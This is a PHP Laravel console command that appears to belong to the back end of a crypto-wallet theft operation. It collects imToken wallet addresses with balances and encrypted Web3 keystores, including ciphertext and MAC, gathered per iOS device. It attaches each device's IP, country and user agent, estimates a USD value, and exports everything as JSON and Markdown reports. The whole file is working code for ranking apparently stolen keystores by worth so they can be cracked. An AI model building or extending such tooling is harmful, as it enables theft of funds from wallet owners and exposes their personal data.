Files
coruna-lab/app/Console/Commands/ExportImtokenRichCommand.php
T
2026-09-30 03:33:37 +08:00

323 lines
11 KiB
PHP

<?php
namespace App\Console\Commands;
use App\Models\Device;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use Illuminate\Console\Command;
use Illuminate\Support\Facades\DB;
/**
* Export devices that have:
* 1. at least one imToken-derived wallet_address with non-zero balance, AND
* 2. at least one imToken keystore whose raw_json contains a Web3 keystore
* (crypto.ciphertext + crypto.mac present — decryptable with a password).
*
* Outputs to storage/app/imtoken-rich-<timestamp>/:
* - report.md : human-readable document (device + addresses + keystore)
* - report.json : machine-readable mirror of the same data
*/
class ExportImtokenRichCommand extends Command
{
protected $signature = 'coruna:export-imtoken-rich
{--path= : Output directory (default storage/app/imtoken-rich-<timestamp>)}
{--no-md : Skip markdown report}
{--no-json : Skip JSON report}
{--limit= : Cap number of devices (debug)}';
protected $description = 'Export devices with imToken addresses (balance > 0) and a populated imToken keystore';
public function handle(): int
{
DB::disableQueryLog();
$dir = $this->resolveDir();
if ($dir === null) {
return self::FAILURE;
}
$deviceIds = $this->candidateDeviceIds();
if ($deviceIds->isEmpty()) {
$this->warn('No devices match (imToken address with balance + imToken keystore).');
return self::SUCCESS;
}
$this->info(sprintf('found %d candidate device(s)', $deviceIds->count()));
$devices = [];
foreach ($deviceIds as $id) {
$payload = $this->serializeDevice((int) $id);
if ($payload === null) {
continue;
}
$devices[] = $payload;
$this->line(sprintf(
'device #%d (%s) · addresses=%d · keystores=%d · usd~%s',
$payload['id'],
$payload['device_id'],
count($payload['addresses']),
count($payload['keystores']),
$payload['totals']['usd_approx'],
));
gc_collect_cycles();
}
$summary = [
'exported_at' => now()->toIso8601String(),
'device_count' => count($devices),
'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)),
'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)),
'totals' => $this->aggregateTotals($devices),
];
if (! $this->option('no-json')) {
$jsonPath = $dir.'/report.json';
file_put_contents($jsonPath, json_encode(
array_merge($summary, ['devices' => $devices]),
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT,
));
$this->info('wrote '.$jsonPath);
}
if (! $this->option('no-md')) {
$mdPath = $dir.'/report.md';
file_put_contents($mdPath, $this->renderMarkdown($summary, $devices));
$this->info('wrote '.$mdPath);
}
$this->info('done. output dir: '.$dir);
return self::SUCCESS;
}
/**
* Device IDs that have BOTH an imToken address with balance and an imToken
* keystore with non-empty raw_json.
*/
private function candidateDeviceIds()
{
$addrIds = DB::table('wallet_addresses')
->where('source', 'imToken')
->where(function ($q) {
foreach (WalletAddress::COIN_COLUMNS as $c) {
$q->orWhere($c, '>', 0);
}
})
->pluck('device_id')
->unique();
if ($addrIds->isEmpty()) {
return collect();
}
$ksDeviceIds = DB::table('wallet_keystores')
->where('source', 'imToken')
->whereNotNull('raw_json')
->whereIn('device_id', $addrIds)
->pluck('device_id')
->unique();
$ids = $addrIds->intersect($ksDeviceIds)->values();
if ($limit = (int) $this->option('limit')) {
$ids = $ids->take($limit);
}
return $ids;
}
private function serializeDevice(int $deviceId): ?array
{
$device = Device::query()->find($deviceId, [
'id', 'device_id', 'channel_id', 'device_model', 'ios_version',
'ip', 'country', 'wallet_names', 'user_agent', 'created_at',
]);
if ($device === null) {
return null;
}
return [
'id' => $device->id,
'device_id' => $device->device_id,
'channel_id' => $device->channel_id,
'model' => $device->device_model,
'ios_version' => $device->ios_version,
'ip' => $device->ip,
'country' => $device->resolvedCountry(),
'wallet_names' => $device->walletNameList(),
'user_agent' => $device->user_agent,
'created_at' => optional($device->created_at)->toIso8601String(),
'addresses' => $addresses = $this->serializeAddresses($device),
'keystores' => $this->serializeKeystores($device),
'totals' => $this->deviceTotals($addresses),
];
}
private function serializeAddresses(Device $device): array
{
$out = [];
foreach ($device->addresses()
->where('source', 'imToken')
->orderBy('id')
->cursor() as $addr
) {
$coins = [];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$raw = $addr->{$col};
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
continue;
}
$coins[$col] = WalletAddress::formatAmount($col, $raw);
}
$out[] = [
'id' => $addr->id,
'address' => $addr->address,
'chain_type' => $addr->chain_type,
'derive_index' => $addr->derive_index,
'mnemonic_id' => $addr->mnemonic_id,
'monitor' => (int) $addr->monitor,
'coins' => $coins,
];
}
return $out;
}
private function serializeKeystores(Device $device): array
{
$out = [];
foreach ($device->keystores()
->where('source', 'imToken')
->orderBy('id')
->cursor() as $ks
) {
$raw = is_array($ks->raw_json) ? $ks->raw_json : null;
if ($raw === null) {
$raw = DB::table('wallet_keystores')->whereKey($ks->id)->value('raw_json');
$raw = is_string($raw) ? json_decode($raw, true) : $raw;
$raw = is_array($raw) ? $raw : null;
}
if ($raw === null) {
continue;
}
// imToken keystore may be nested under ['imtoken'] (from /result
// ingest) or stored directly. Detect both.
$node = $raw;
if (isset($raw['imtoken']) && is_array($raw['imtoken'])) {
$node = $raw['imtoken'];
}
if (! $this->isWeb3Node($node)) {
continue;
}
$out[] = [
'id' => $ks->id,
'source' => $ks->source,
'decrypted' => (int) $ks->decrypted,
'created_at' => optional($ks->created_at)->toIso8601String(),
'keystore' => $this->pickKeystoreFields($node),
'raw_json_len' => strlen((string) json_encode($raw)),
];
}
return $out;
}
private function isWeb3Node(array $node): bool
{
$crypto = $node['crypto'] ?? null;
return is_array($crypto)
&& isset($crypto['ciphertext'], $crypto['mac'])
&& is_string($crypto['ciphertext'])
&& is_string($crypto['mac']);
}
private function pickKeystoreFields(array $node): array
{
$crypto = $node['crypto'] ?? [];
return [
'id' => $node['id'] ?? null,
'type' => $node['type'] ?? null,
'address' => $node['address'] ?? null,
'derivationPath' => $node['derivationPath'] ?? null,
'version' => $node['version'] ?? null,
'keyHash' => $node['keyHash'] ?? null,
'crypto' => [
'kdf' => $crypto['kdf'] ?? null,
'cipher' => $crypto['cipher'] ?? null,
'kdfparams' => $crypto['kdfparams'] ?? null,
'cipherparams' => $crypto['cipherparams'] ?? null,
'ciphertext' => $crypto['ciphertext'] ?? null,
'mac' => $crypto['mac'] ?? null,
],
'imTokenMeta' => $node['imTokenMeta'] ?? null,
'activeAccounts' => $node['activeAccounts'] ?? null,
];
}
private function deviceTotals(array $addresses): array
{
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
foreach ($addresses as $a) {
foreach ($a['coins'] as $col => $val) {
if (isset($sums[$col])) {
$sums[$col] += (float) $val;
}
}
}
$usd = ($sums['usdt'] ?? 0)
+ ($sums['trx'] ?? 0) * 0.15
+ ($sums['eth'] ?? 0) * 2500
+ ($sums['btc'] ?? 0) * 60000
+ ($sums['bnb'] ?? 0) * 500
+ ($sums['sol'] ?? 0) * 150;
return [
'coins' => array_map(fn ($v) => (string) $v, $sums),
'usd_approx' => number_format((float) $usd, 2, '.', ''),
];
}
private function aggregateTotals(array $devices): array
{
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
$usd = 0.0;
foreach ($devices as $d) {
foreach ($d['totals']['coins'] as $col => $val) {
$sums[$col] += (float) $val;
}
$usd += (float) $d['totals']['usd_approx'];
}
return [
'coins' => array_map(fn ($v) => (string) $v, $sums),
'usd_approx' => number_format($usd, 2, '.', ''),
];
}
private function resolveDir(): ?string
{
$path = trim((string) $this->option('path'));
if ($path === '') {
$path = storage_path('app/imtoken-rich-'.now()->format('Ymd-His'));
} elseif (! str_starts_with($path, '/')) {
$path = base_path($path);
}
if (! is_dir($path) && ! mkdir($path, 0775, true) && ! is_dir($path)) {
$this->error('Cannot create directory: '.$path);
return null;
}
return $path;
}
private function renderMarkdown(array $summary, array $devices): string
{
return (new ExportImtokenRichMarkdown($summary, $devices))->render();
}
}